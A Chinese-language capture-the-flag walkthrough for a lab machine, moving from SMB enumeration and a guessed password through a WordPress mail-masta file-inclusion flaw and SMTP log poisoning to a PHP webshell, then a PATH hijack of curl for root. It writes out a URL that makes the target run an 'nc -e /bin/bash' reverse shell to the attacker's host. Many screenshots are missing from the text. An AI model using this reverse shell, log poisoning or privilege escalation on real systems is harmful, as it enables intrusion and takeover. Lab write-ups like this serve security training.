先nmap一下:

 

可以看到139和445端口开启了smb服务,这是一个比较好的入手点。

SMB(服务器消息块)是一种协议,它允许同一网络上的资源共享文件,浏览网络并通过网络进行打印。它最初用于Windows,但是Unix系统可以通过Samba使用SMB。今天,我们使用Enum4linux工具从目标中提取信息,并使用smbclient连接到SMB共享并传输文件。

enum4linux是一款信息收集工具。具体enum4linux的各种操作可以参考这篇博客:http://www.360doc.com/content/12/0121/07/4310958_959453592.shtml。

先通过enum4linux发现存在用户helios以及一些共享文件:

 

这里补充一下: IPC$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。 

以及有关密码的提示:

 

 尝试通过smbclient访问共享文件:Smbclient是一种用于访问服务器上SMB资源的工具,就像FTP客户端用于访问文件一样。它提供了一个简单的命令行界面。

尝试访问anonymous目录(前面两个暂时看不了):

 

 ls一下,发现有一个attention.txt文件,get(用于从服务器获取文件)下来:

 

 

 

 attention.txt文件中的内容:

 

 这边提示了我们可能的密码,可以尝试登陆一下之前没办法访问的helios了,发现用户-密码是helios-qwerty:

 

 ls一下发现有两个txt文件:

 

 下载下来以后发现todo.txt里面的内容是有用的:

 

 第三句话应该是在提示一个目录,回到之前扫描的端口发现是开放了http服务的,于是进去看一下:

 

 发现是wordpress,whatweb一下发现的确如此:

 

 针对wordpress,可以wpscan一下(关于wpscan的使用说明可以参考https://blog.csdn.net/qq_41453285/article/details/100898310)。

先添加hosts(这儿没弄明白为啥要添加,不添加也能访问但是扫不出来。。。):

 

 然后再wpscan:wpscan --url http://symfonos.local/h3l105/

wordpress的漏洞主要还是出现在插件中:

 查找一下mail-masta 1.0是否有对应的漏洞:

 

 

 发现有一个文件包含漏洞,查看path指向的文件(注意:真实的路径是/usr/share/exploitdb/exploits/+path):

文件中给了我们这个漏洞的介绍以及可以使用的POC,我们拿去验证下:

 

 

 本地文件包含成功。接下来就是想办法把文件包含变成命令执行,就可以获得一个shell了。

之前端口扫描有发现25端口开放了SMTP服务,那么可以考虑日志包含反弹shell的命令,再通过访问日志文件去触发命令(注意常见的日志目录:Apache:/var/log/apache2/access.log    ssh: /var/log/auth.log ,邮件日志文件目录:/var/mail  每个用户文件在各自用户目录下 如www-data  : /var/mail/www-data)。

那么接下来的任务就是通过SMTP在日志文件中写下一句话木马再进行命令执行(php解释器会解析包含文件,如果无法解析就会打印出来)。

telnet是使用SMTP协议的,由此写入一句话木马:

 

 

 可以看到写入成功:

 

 

 直接执行url并在本地9999端口进行监听:

http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=nc -e /bin/bash 192.168.190.128 9999

反弹shell成功:

 

 

 下面就是想办法提权了。

查看具有可能可以用来提权为root权限的文件:

 

 

 下面尝试了一番就没有头绪了,这里面没有像find那样可以加command的命令。

通过strings命令查看/opt/statuscheck文件(注意:strings命令输出的字符串长度为4个或4个以上的,长度小于4的字符串将不予打印,我们可以通过-n参数调整,strings -n 2 filename):

 

 

 发现存在curl命令(curl(CommandLine Uniform Resource Locator),即在命令行中利用URL进行数据或者文件传输。),想到覆盖curl命令为自己的命令。也就是自行创建一个curl程序,将其路径添加到$PATH环境变量中,则/opt/statuscheck程序执行时,就劫持了curl程序为我们自己的恶意程序。

查看curl命令以及环境变量的信息(which指令会在环境变量$PATH设置的目录里查找符合条件的文件。):

 

 

 接下来在tmp目录下创建curl文件,内容为/bin/sh(/bin/sh与/bin/bash的区别:https://blog.csdn.net/hcbbt/article/details/43305179):

 

 

 并修改curl文件为可执行:

然后把/tmp添加到环境变量中(export用于设置或显示环境变量):

 

 

 然后执行/opt/statuscheck即可提权成功(只能是euid=0):

 

 

 

参考:https://www.anquanke.com/post/id/182378

           https://blog.csdn.net/weixin_45509443/article/details/107729443